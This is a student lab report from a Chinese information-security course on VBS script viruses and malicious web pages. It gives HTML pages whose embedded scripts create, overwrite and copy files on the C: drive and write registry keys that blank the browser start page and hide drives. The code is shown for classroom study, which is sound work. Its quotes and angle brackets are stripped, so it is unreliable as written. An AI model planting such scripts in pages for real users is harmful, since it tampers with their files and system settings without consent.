实验六脚本及恶意网页病毒.docVIP

实验六：脚本及恶意网页病毒 08级信息安全一班 宋文朋 实验目的： 了解VBS脚本病毒传染与破坏机制，以及网页使用脚本进行病毒传染与破坏方法，并通过VBS脚本病毒示例，了解VBS脚本语言的使用，理解脚本病毒的运行机制。 实验内容： （1）创建简单网页 html head titlecreate file c:test.htm/title script language=vbscript !-- dim fso,tf set fso=CreateObject(Scripting.FileSystemObject) set tf =fso.CreateTextFile(c:\test.htm,True) -- /script /head /html （2）通过网页方式修改文件内容 HTML HEAD TITLE修改文件内容c:\TEST.HTM/TITLE SCRIPT LANGUAGE=VBScript !-- Dim fso, tf Set fso = CreateObject(Scripting.FileSystemObject) Set tf = fso.CreateTextFile(c:\TEST.HTM, True) 写一行，并带有一个换行字符。 tf.WriteLine(htmlbody由网页脚本的方式修改已存在文件内容成功/body/html) 向文件写三个换行字符。 tf.WriteBlankLines(3) 写一行。 tf.Write (This is a test.) tf.Close -- /SCRIPT /HEAD BODY /BODY /HTML ==== （3）通过网页方式把文件复制到指定的目录 HTML HEAD TITLE复制c:\TEST.HTM文件到桌面/TITLE SCRIPT LANGUAGE=VBScript !-- Dim fso, tf Set fso = CreateObject(Scripting.FileSystemObject) Set tf = fso.GetFile(c:\TEST.HTM) tf.Copy (d:\TEST.HTM) -- /SCRIPT /HEAD BODY /BODY /HTML ======== （4）通过网页方式修改注册表相关内容 指令： HTML HEAD TITLE修改注册表项/TITLE /head body OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B id=wsh /OBJECT SCRIPT wsh.RegWrite(HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Internet Explore\\Main\\Start Page,); wsh.RegWrite(HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrivesREG_DWORD) /SCRIPT /body /html 附： 调试实验九出现的一些问题 实验九为程序的自加载运行技术及目标机器信息的获取。 经调试，实验九目录下程序均无法执行。截图如下：